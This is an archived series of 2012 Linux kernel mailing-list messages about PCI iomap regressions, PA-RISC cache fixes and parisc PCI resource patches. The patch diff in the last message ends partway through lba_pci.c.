Xref: news.gmane.org gmane.linux.ports.openrisc:18 gmane.linux.ports.mips.general:33422 gmane.linux.ports.m68k:3409 gmane.linux.ports.ia64:21972 gmane.linux.ports.sh.devel:13448 gmane.linux.kernel.pci:13259 gmane.linux.ports.sparc:15705 gmane.linux.ports.hexagon:359 gmane.linux.kernel.cross-arch:12032 gmane.linux.uclinux.microblaze:11720 gmane.linux.ports.arm.kernel:149873 gmane.linux.ports.parisc:4121 gmane.linux.kernel:1245462 gmane.linux.ports.alpha:1683 gmane.linux.ports.ppc64.devel:79792
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.openrisc/18>

On Sat, Jan 28, 2012 at 02:38:10PM -0800, Kevin Cernekee wrote:
> On Thu, Nov 24, 2011 at 12:18 PM, Michael S. Tsirkin <mst@redhat.com> wro=
te:
> > mips copied pci_iomap from generic code, probably to avoid
> > pulling the rest of iomap.c in. =A0Since that's in
> > a separate file now, we can reuse the common implementation.
> =

> [snip]
> =

> > - =A0 =A0 =A0 if (flags & IORESOURCE_IO)
> > - =A0 =A0 =A0 =A0 =A0 =A0 =A0 return ioport_map_pci(dev, start, len);
> =

> While investigating a new warning on the 3.3-rc1 MIPS build (unused
> static function ioport_map_pci()), I noticed that this patch has shown
> up in Linus' tree as commit eab90291d35438bcebf7c3dc85be66d0f24e3002.
> =

> I am not completely clear on the implications it has on mapping PCI I/O r=
egions:

Yes, my bad, I missed the difference between ioport_map_pci
and ioport_map for both MIPS and SH.
I'll post a patch to fix this, which is probably preferable
to reintroducing the code duplication where it might
trip us up again.

-- =

MST

From - Thu Nov 08 21:07:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Happy New Year PARISC (take 2)
Date: Mon, 30 Jan 2012 02:06:44 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <CA+DQjFhU64FwAR9GBim4vKyEbE8hnzs9aLLVO23cNjfSdEiHEA@mail.gmail.com>
References: <BLU0-SMTP8506059BFA40F0B7419F2497900@phx.gbl> <CANEJEGv5jOLEywzj52KVsdQHJmXf5GxWDBaJZNnbfnwhYcR23A@mail.gmail.com>
 <BLU0-SMTP31AEFBE4BAA62F2EED77CE97910@phx.gbl> <BLU0-SMTP20DB85B206E6F015C370CE97910@phx.gbl>
 <CADZpyiywh8SL42H9nO=9tMXgiyxL4SfmaX6PcZP5Kwme-Ozxsw@mail.gmail.com>
 <4F031B1A.4010908@bell.net> <1325604740.3185.4.camel@dabdike.int.hansenpartnership.com>
 <4F032C4C.10805@bell.net> <1325608972.3185.8.camel@dabdike.int.hansenpartnership.com>
 <4F034B6B.5020809@bell.net> <BLU0-SMTP5091B64E5E2C07CEDC0D41978C0@phx.gbl> <CA+DQjFiTwKC76Hn-x-s2C9Nc_qkqrRFXv3ji22KGtgMzGOfx0Q@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1327885635 31621 80.91.229.3 (30 Jan 2012 01:07:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 30 Jan 2012 01:07:15 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 30 02:07:14 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rrfi5-0001I4-Qf
	for glpp-linux-parisc@plane.gmane.org; Mon, 30 Jan 2012 02:07:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752971Ab2A3BHF convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 29 Jan 2012 20:07:05 -0500
Original-Received: from mail-iy0-f174.google.com ([209.85.210.174]:38693 "EHLO
	mail-iy0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752884Ab2A3BHE convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 29 Jan 2012 20:07:04 -0500
Original-Received: by iacb35 with SMTP id b35so4485597iac.19
        for <linux-parisc@vger.kernel.org>; Sun, 29 Jan 2012 17:07:04 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:from:date
         :x-google-sender-auth:message-id:subject:to:content-type
         :content-transfer-encoding;
        bh=yzhtUFZlyPJTjNMadRVpL9LhpN3ZPVdbxkzpwFMf5KA=;
        b=cl2FEsmm6CKAK72m6bziZ83lusjDe61Vju/oXwb4rnuYKe+2ZPFUoWPOlhos+wMHln
         o1/hvstTNV+Il9UNTwe4PE4DvZmkqijST9Jb5K61Tut/Hdi0eD1EiazY818EN+ZC53lo
         53cM1BJBkjGU6lc4wTOEcQkoLgKxd+tRE2qoQ=
Original-Received: by 10.43.47.135 with SMTP id us7mr12584926icb.31.1327885624103; Sun,
 29 Jan 2012 17:07:04 -0800 (PST)
Original-Received: by 10.42.189.6 with HTTP; Sun, 29 Jan 2012 17:06:44 -0800 (PST)
In-Reply-To: <CA+DQjFiTwKC76Hn-x-s2C9Nc_qkqrRFXv3ji22KGtgMzGOfx0Q@mail.gmail.com>
X-Google-Sender-Auth: vgjRveNg2KAhIkQhUwuFtoHUm0I
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4122
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4122>

Reposting as vger is anal about mail format...

On Sun, Jan 29, 2012 at 10:45 PM, John David Anglin
<dave.anglin@bell.net> wrote:
>
> I believe both versions fix the minifail bug and some thread related =
bugs
> seen in the perl, python and git testsuites. =C2=A0However, there are=
 still more
> thread related bugs to fix.
>
> The minifail bug is fixed by the TLB purge added to ptep_set_wrprotec=
t,
> and flushing the `from' page in copy_user_page (kmap version). =C2=A0=
The
> tmpalias version doesn't need this flush, but the `to' page needs to =
be
> flushed. =C2=A0So, both versions have about the same flush requiremen=
ts.
>
> This version fixes the math emulation bug that I reported, but I have
> another one that I haven't tracked down.

That's awesome news!

If you want write access to the wiki to update e.g. this page
http://wiki.parisc-linux.org/TestCases=C2=A0I'd be more than happy to a=
dd
your account to the ACL.

> It would be great if someone else could test the change on something =
other
> than a rp3440. =C2=A0The cache issues are very subtle. =C2=A0If the r=
esults are positive,
> I will break up the patch and formally submit it.

Well I have an a500-5x (PA8600) that's doing nothing, but I really
don't have time to do any kind of testing now or in the near future.
I'd be happy to provide access to the hardware tho.

HTH

T-Bone

--
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH 1/2] parisc: fix compile without CONFIG_PCI
Date: Mon, 30 Jan 2012 11:13:11 +0100
Lines: 45
Approved: news@gmane.org
Message-ID: <283f1c4300462d6ed70c92f87e6258cb.squirrel@webmail.sf-mail.de>
References: <6637509.yTD8q5zPsI@eto> <4000012.xgVA85Qcpi@eto>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1327918398 20751 80.91.229.3 (30 Jan 2012 10:13:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 30 Jan 2012 10:13:18 +0000 (UTC)
To: "linux-parisc List" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 30 11:13:17 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RroEe-0000Z4-2T
	for glpp-linux-parisc@plane.gmane.org; Mon, 30 Jan 2012 11:13:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751202Ab2A3KNP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 30 Jan 2012 05:13:15 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:42004 "EHLO www.sf-tec.de"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1751194Ab2A3KNO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 30 Jan 2012 05:13:14 -0500
Original-Received: (qmail 32672 invoked from network); 30 Jan 2012 10:13:11 -0000
Original-Received: from www.sf-tec.de ([::ffff:62.27.20.187] HELO mail.sf-mail.de)
	by www.sf-tec.de (Qsmtpd 0.21svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPS
	for <linux-parisc@vger.kernel.org>; Mon, 30 Jan 2012 11:13:11 +0100
Original-Received: (qmail 32667 invoked by uid 81); 30 Jan 2012 10:13:11 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Mon, 30 Jan 2012 11:13:11 +0100
In-Reply-To: <4000012.xgVA85Qcpi@eto>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4123
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4123>

> From f49bd6e33a3b6f499a6039a5980af21893524e86 Mon Sep 17 00:00:00 2001
> From: Rolf Eike Beer <eike-kernel@sf-tec.de>
> Date: Mon, 16 Jan 2012 18:59:29 +0100
> Subject: [PATCH 1/2] parisc: fix compile without CONFIG_PCI
>
> This function is already defined as a noop in include/asm-generic/iomap.h.
>
> Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
> ---
>  arch/parisc/lib/iomap.c |    4 ++++
>  1 files changed, 4 insertions(+), 0 deletions(-)
>
> diff --git a/arch/parisc/lib/iomap.c b/arch/parisc/lib/iomap.c
> index fb8e10a..b2b0408 100644
> --- a/arch/parisc/lib/iomap.c
> +++ b/arch/parisc/lib/iomap.c
> @@ -436,12 +436,14 @@ void ioport_unmap(void __iomem *addr)
>  	}
>  }
>
> +#ifdef CONFIG_PCI
>  void pci_iounmap(struct pci_dev *dev, void __iomem * addr)
>  {
>  	if (!INDIRECT_ADDR(addr)) {
>  		iounmap(addr);
>  	}
>  }
> +#endif /* CONFIG_PCI */
>
>  EXPORT_SYMBOL(ioread8);
>  EXPORT_SYMBOL(ioread16);
> @@ -461,4 +463,6 @@ EXPORT_SYMBOL(iowrite16_rep);
>  EXPORT_SYMBOL(iowrite32_rep);
>  EXPORT_SYMBOL(ioport_map);
>  EXPORT_SYMBOL(ioport_unmap);
> +#ifdef CONFIG_PCI
>  EXPORT_SYMBOL(pci_iounmap);
> +#endif /* CONFIG_PCI */

James?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH] fix compile break caused by iomap: make IOPORT/PCI mapping
 functions conditional
Date: Mon, 30 Jan 2012 10:40:47 -0600
Lines: 58
Approved: news@gmane.org
Message-ID: <1327941647.21193.53.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1327941660 3758 80.91.229.3 (30 Jan 2012 16:41:00 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 30 Jan 2012 16:41:00 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	Rolf Eike Beer <eike@sf-mail.de>
To: Randy Dunlap <rdunlap@xenotime.net>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Mon Jan 30 17:40:57 2012
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1RruHj-0007Mz-C5
	for glka-linux-arch@plane.gmane.org; Mon, 30 Jan 2012 17:40:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753751Ab2A3Qku (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Mon, 30 Jan 2012 11:40:50 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51788 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753744Ab2A3Qkt (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Mon, 30 Jan 2012 11:40:49 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 116228EE0D2;
	Mon, 30 Jan 2012 08:40:49 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id i3xNMorpYpm5; Mon, 30 Jan 2012 08:40:48 -0800 (PST)
Original-Received: from [192.168.10.225] (unknown [192.168.10.225])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 4D6BA8EE0C4;
	Mon, 30 Jan 2012 08:40:48 -0800 (PST)
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:12059 gmane.linux.ports.parisc:4124
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/12059>

The problem in

commit fea80311a939a746533a6d7e7c3183729d6a3faf
Author: Randy Dunlap <rdunlap@xenotime.net>
Date:   Sun Jul 24 11:39:14 2011 -0700

    iomap: make IOPORT/PCI mapping functions conditional


is that if your architecture supplies pci_iomap/pci_iounmap, it expects
always to supply them.  Adding empty body defitions in the !CONFIG_PCI
case, which is what this patch does, breaks the parisc compile because
the functions become doubly defined.  It took us a while to spot this,
because we don't actually build !CONFIG_PCI very often (only if someone
is brave enough to test the snake/asp machines).

Since the note in the commit log says this is to fix a
CONFIG_GENERIC_IOMAP issue (which it does because CONFIG_GENERIC_IOMAP
supplies pci_iounmap only if CONFIG_PCI is set), there should actually
have been a condition upon this.  This should make sure no other
architecture's !CONFIG_PCI compile breaks in the same way as parisc.

The fix had to be updated to take account of the GENERIC_PCI_IOMAP
separation.

Reported-by: Rolf Eike Beer <eike@sf-mail.de>
Signed-off-by: James Bottomley <JBottomley@Parallels.com>

---

diff --git a/include/asm-generic/iomap.h b/include/asm-generic/iomap.h
index 8a3d4fd..6afd7d6 100644
--- a/include/asm-generic/iomap.h
+++ b/include/asm-generic/iomap.h
@@ -70,7 +70,7 @@ extern void ioport_unmap(void __iomem *);
 /* Destroy a virtual mapping cookie for a PCI BAR (memory or IO) */
 struct pci_dev;
 extern void pci_iounmap(struct pci_dev *dev, void __iomem *);
-#else
+#elif defined(CONFIG_GENERIC_IOMAP)
 struct pci_dev;
 static inline void pci_iounmap(struct pci_dev *dev, void __iomem *addr)
 { }
diff --git a/include/asm-generic/pci_iomap.h b/include/asm-generic/pci_iomap.h
index 8de4b73..217eb3d 100644
--- a/include/asm-generic/pci_iomap.h
+++ b/include/asm-generic/pci_iomap.h
@@ -15,7 +15,7 @@ struct pci_dev;
 #ifdef CONFIG_PCI
 /* Create a virtual mapping cookie for a PCI BAR (memory or IO) */
 extern void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long max);
-#else
+#elif defined(CONFIG_GENERIC_PCI_IOMAP)
 static inline void __iomem *pci_iomap(struct pci_dev *dev, int bar, unsigned long max)
 {
 	return NULL;



From - Thu Nov 08 21:07:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [RFC PATCH v1 13/18] parisc/PCI: get rid of device resource fixups
Date: Mon, 30 Jan 2012 09:58:15 -0700
Lines: 258
Approved: news@gmane.org
Message-ID: <20120130165815.3231.81322.stgit@bhelgaas.mtv.corp.google.com>
References: <20120130165430.3231.97740.stgit@bhelgaas.mtv.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1327942709 11933 80.91.229.3 (30 Jan 2012 16:58:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 30 Jan 2012 16:58:29 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
To: linux-pci@vger.kernel.org
Original-X-From: linux-pci-owner@vger.kernel.org Mon Jan 30 17:58:26 2012
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1RruYd-0000Un-NJ
	for glp-linux-pci@plane.gmane.org; Mon, 30 Jan 2012 17:58:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753624Ab2A3Q6S (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Mon, 30 Jan 2012 11:58:18 -0500
Original-Received: from mail-yx0-f202.google.com ([209.85.213.202]:56607 "EHLO
	mail-yx0-f202.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753614Ab2A3Q6Q (ORCPT
	<rfc822;linux-pci@vger.kernel.org>); Mon, 30 Jan 2012 11:58:16 -0500
Original-Received: by yenr8 with SMTP id r8so385884yen.1
        for <linux-pci@vger.kernel.org>; Mon, 30 Jan 2012 08:58:16 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=gamma;
        h=subject:to:from:cc:date:message-id:in-reply-to:references
         :user-agent:mime-version:content-type:content-transfer-encoding;
        bh=QSX62wacAgHubEsTMxGxfcxwDFDOtxSuaoWECvI5dg4=;
        b=Voa7SEeUCHHNNwLI98MObO3gTAYRLudIQbDD8HmPbgcfzPUFR1ITd7iWkNiuihRGBP
         t1Z0eA5rAZVJaoZe8sv/O0Dp3Di4G3AzIlK/f9GvawuKPAqbU0kcrNoE74fI2rTNZqiQ
         +jpp/+FumkcLssVVQpErTFTcsnWtgXFB9ViMg=
Original-Received: by 10.236.129.225 with SMTP id h61mr16199996yhi.4.1327942696399;
        Mon, 30 Jan 2012 08:58:16 -0800 (PST)
Original-Received: by 10.236.129.225 with SMTP id h61mr16199970yhi.4.1327942696342;
        Mon, 30 Jan 2012 08:58:16 -0800 (PST)
Original-Received: from wpzn4.hot.corp.google.com (216-239-44-65.google.com [216.239.44.65])
        by gmr-mx.google.com with ESMTPS id o45si8864907yhj.4.2012.01.30.08.58.16
        (version=TLSv1/SSLv3 cipher=AES128-SHA);
        Mon, 30 Jan 2012 08:58:16 -0800 (PST)
Original-Received: from bhelgaas.mtv.corp.google.com (bhelgaas.mtv.corp.google.com [172.18.96.155])
	by wpzn4.hot.corp.google.com (Postfix) with ESMTP id 2F4F81E005C;
	Mon, 30 Jan 2012 08:58:16 -0800 (PST)
Original-Received: from bhelgaas.mtv.corp.google.com (unknown [IPv6:::1])
	by bhelgaas.mtv.corp.google.com (Postfix) with ESMTP id D481718023A;
	Mon, 30 Jan 2012 08:58:15 -0800 (PST)
In-Reply-To: <20120130165430.3231.97740.stgit@bhelgaas.mtv.corp.google.com>
User-Agent: StGit/0.15
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:13285 gmane.linux.kernel.cross-arch:12075 gmane.linux.ports.parisc:4125
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.pci/13285>

Tell the PCI core about host bridge address translation so it can take
care of bus-to-resource conversion for us.

N.B. parisc has far more complicated code for bus/resource conversion than
most arches.  I don't think the actual hardware behavior is any more
complicated, and I tried to compute the simple offset between the bus
address and the CPU address, but it's likely that I didn't get all the
details just right here, and I haven't been able to test it.

CC: linux-parisc@vger.kernel.org
---
 arch/parisc/include/asm/pci.h |   38 +-----------------------------
 arch/parisc/kernel/pci.c      |   52 -----------------------------------------
 drivers/parisc/dino.c         |   27 +++++----------------
 drivers/parisc/lba_pci.c      |   31 +++++-------------------
 4 files changed, 13 insertions(+), 135 deletions(-)

diff --git a/arch/parisc/include/asm/pci.h b/arch/parisc/include/asm/pci.h
index 2242a5c..a8b591f 100644
--- a/arch/parisc/include/asm/pci.h
+++ b/arch/parisc/include/asm/pci.h
@@ -82,38 +82,8 @@ struct pci_hba_data {
 
 #ifdef CONFIG_64BIT
 #define PCI_F_EXTEND		0xffffffff00000000UL
-#define PCI_IS_LMMIO(hba,a)	pci_is_lmmio(hba,a)
-
-/* We need to know if an address is LMMMIO or GMMIO.
- * LMMIO requires mangling and GMMIO we must use as-is.
- */
-static __inline__  int pci_is_lmmio(struct pci_hba_data *hba, unsigned long a)
-{
-	return(((a) & PCI_F_EXTEND) == PCI_F_EXTEND);
-}
-
-/*
-** Convert between PCI (IO_VIEW) addresses and processor (PA_VIEW) addresses.
-** See pci.c for more conversions used by Generic PCI code.
-**
-** Platform characteristics/firmware guarantee that
-**	(1) PA_VIEW - IO_VIEW = lmmio_offset for both LMMIO and ELMMIO
-**	(2) PA_VIEW == IO_VIEW for GMMIO
-*/
-#define PCI_BUS_ADDR(hba,a)	(PCI_IS_LMMIO(hba,a)	\
-		?  ((a) - hba->lmmio_space_offset)	/* mangle LMMIO */ \
-		: (a))					/* GMMIO */
-#define PCI_HOST_ADDR(hba,a)	(((a) & PCI_F_EXTEND) == 0 \
-		? (a) + hba->lmmio_space_offset \
-		: (a))
-
 #else	/* !CONFIG_64BIT */
-
-#define PCI_BUS_ADDR(hba,a)	(a)
-#define PCI_HOST_ADDR(hba,a)	(a)
 #define PCI_F_EXTEND		0UL
-#define PCI_IS_LMMIO(hba,a)	(1)	/* 32-bit doesn't support GMMIO */
-
 #endif /* !CONFIG_64BIT */
 
 /*
@@ -245,13 +215,7 @@ static inline void pci_dma_burst_advice(struct pci_dev *pdev,
 }
 #endif
 
-extern void
-pcibios_resource_to_bus(struct pci_dev *dev, struct pci_bus_region *region,
-			 struct resource *res);
-
-extern void
-pcibios_bus_to_resource(struct pci_dev *dev, struct resource *res,
-			struct pci_bus_region *region);
+#define ARCH_HAS_GENERIC_PCI_OFFSETS
 
 static inline void pcibios_penalize_isa_irq(int irq, int active)
 {
diff --git a/arch/parisc/kernel/pci.c b/arch/parisc/kernel/pci.c
index 9efd974..74d544b 100644
--- a/arch/parisc/kernel/pci.c
+++ b/arch/parisc/kernel/pci.c
@@ -195,58 +195,6 @@ void __init pcibios_init_bus(struct pci_bus *bus)
 	pci_write_config_word(dev, PCI_BRIDGE_CONTROL, bridge_ctl);
 }
 
-/* called by drivers/pci/setup-bus.c:pci_setup_bridge().  */
-void __devinit pcibios_resource_to_bus(struct pci_dev *dev,
-		struct pci_bus_region *region, struct resource *res)
-{
-#ifdef CONFIG_64BIT
-	struct pci_hba_data *hba = HBA_DATA(dev->bus->bridge->platform_data);
-#endif
-
-	if (res->flags & IORESOURCE_IO) {
-		/*
-		** I/O space may see busnumbers here. Something
-		** in the form of 0xbbxxxx where bb is the bus num
-		** and xxxx is the I/O port space address.
-		** Remaining address translation are done in the
-		** PCI Host adapter specific code - ie dino_out8.
-		*/
-		region->start = PCI_PORT_ADDR(res->start);
-		region->end   = PCI_PORT_ADDR(res->end);
-	} else if (res->flags & IORESOURCE_MEM) {
-		/* Convert MMIO addr to PCI addr (undo global virtualization) */
-		region->start = PCI_BUS_ADDR(hba, res->start);
-		region->end   = PCI_BUS_ADDR(hba, res->end);
-	}
-
-	DBG_RES("pcibios_resource_to_bus(%02x %s [%lx,%lx])\n",
-		dev->bus->number, res->flags & IORESOURCE_IO ? "IO" : "MEM",
-		region->start, region->end);
-}
-
-void pcibios_bus_to_resource(struct pci_dev *dev, struct resource *res,
-			      struct pci_bus_region *region)
-{
-#ifdef CONFIG_64BIT
-	struct pci_hba_data *hba = HBA_DATA(dev->bus->bridge->platform_data);
-#endif
-
-	if (res->flags & IORESOURCE_MEM) {
-		res->start = PCI_HOST_ADDR(hba, region->start);
-		res->end = PCI_HOST_ADDR(hba, region->end);
-	}
-
-	if (res->flags & IORESOURCE_IO) {
-		res->start = region->start;
-		res->end = region->end;
-	}
-}
-
-#ifdef CONFIG_HOTPLUG
-EXPORT_SYMBOL(pcibios_resource_to_bus);
-EXPORT_SYMBOL(pcibios_bus_to_resource);
-#endif
-
 /*
  * pcibios align resources() is called every time generic PCI code
  * wants to generate a new address. The process of looking for
diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 7ff10c1..0610e91 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -553,7 +553,6 @@ dino_fixup_bus(struct pci_bus *bus)
 	struct list_head *ln;
         struct pci_dev *dev;
         struct dino_device *dino_dev = DINO_DEV(parisc_walk_tree(bus->bridge));
-	int port_base = HBA_PORT_BASE(dino_dev->hba.hba_num);
 
 	DBG(KERN_WARNING "%s(0x%p) bus %d platform_data 0x%p\n",
 	    __func__, bus, bus->secondary,
@@ -599,8 +598,6 @@ dino_fixup_bus(struct pci_bus *bus)
 
 
 	list_for_each(ln, &bus->devices) {
-		int i;
-
 		dev = pci_dev_b(ln);
 		if (is_card_dino(&dino_dev->hba.dev->id))
 			dino_card_fixup(dev);
@@ -612,21 +609,6 @@ dino_fixup_bus(struct pci_bus *bus)
 		if ((dev->class >> 8) == PCI_CLASS_BRIDGE_PCI)
 			continue;
 
-		/* Adjust the I/O Port space addresses */
-		for (i = 0; i < PCI_NUM_RESOURCES; i++) {
-			struct resource *res = &dev->resource[i];
-			if (res->flags & IORESOURCE_IO) {
-				res->start |= port_base;
-				res->end |= port_base;
-			}
-#ifdef __LP64__
-			/* Sign Extend MMIO addresses */
-			else if (res->flags & IORESOURCE_MEM) {
-				res->start |= F_EXTEND(0UL);
-				res->end   |= F_EXTEND(0UL);
-			}
-#endif
-		}
 		/* null out the ROM resource if there is one (we don't
 		 * care about an expansion rom on parisc, since it
 		 * usually contains (x86) bios code) */
@@ -991,11 +973,14 @@ static int __init dino_probe(struct parisc_device *dev)
 
 	dev->dev.platform_data = dino_dev;
 
-	pci_add_resource(&resources, &dino_dev->hba.io_space);
+	pci_add_resource_offset(&resources, &dino_dev->hba.io_space,
+				HBA_PORT_BASE(dino_dev->hba.hba_num));
 	if (dino_dev->hba.lmmio_space.flags)
-		pci_add_resource(&resources, &dino_dev->hba.lmmio_space);
+		pci_add_resource_offset(&resources, &dino_dev->hba.lmmio_space,
+					dino_dev->hba.lmmio_space_offset);
 	if (dino_dev->hba.elmmio_space.flags)
-		pci_add_resource(&resources, &dino_dev->hba.elmmio_space);
+		pci_add_resource_offset(&resources, &dino_dev->hba.elmmio_space,
+					dino_dev->hba.lmmio_space_offset);
 	if (dino_dev->hba.gmmio_space.flags)
 		pci_add_resource(&resources, &dino_dev->hba.gmmio_space);
 
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index d5f3d75..e885764 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -635,7 +635,6 @@ lba_fixup_bus(struct pci_bus *bus)
 	u16 status;
 #endif
 	struct lba_device *ldev = LBA_DEV(parisc_walk_tree(bus->bridge));
-	int lba_portbase = HBA_PORT_BASE(ldev->hba.hba_num);
 
 	DBG("lba_fixup_bus(0x%p) bus %d platform_data 0x%p\n",
 		bus, bus->secondary, bus->bridge->platform_data);
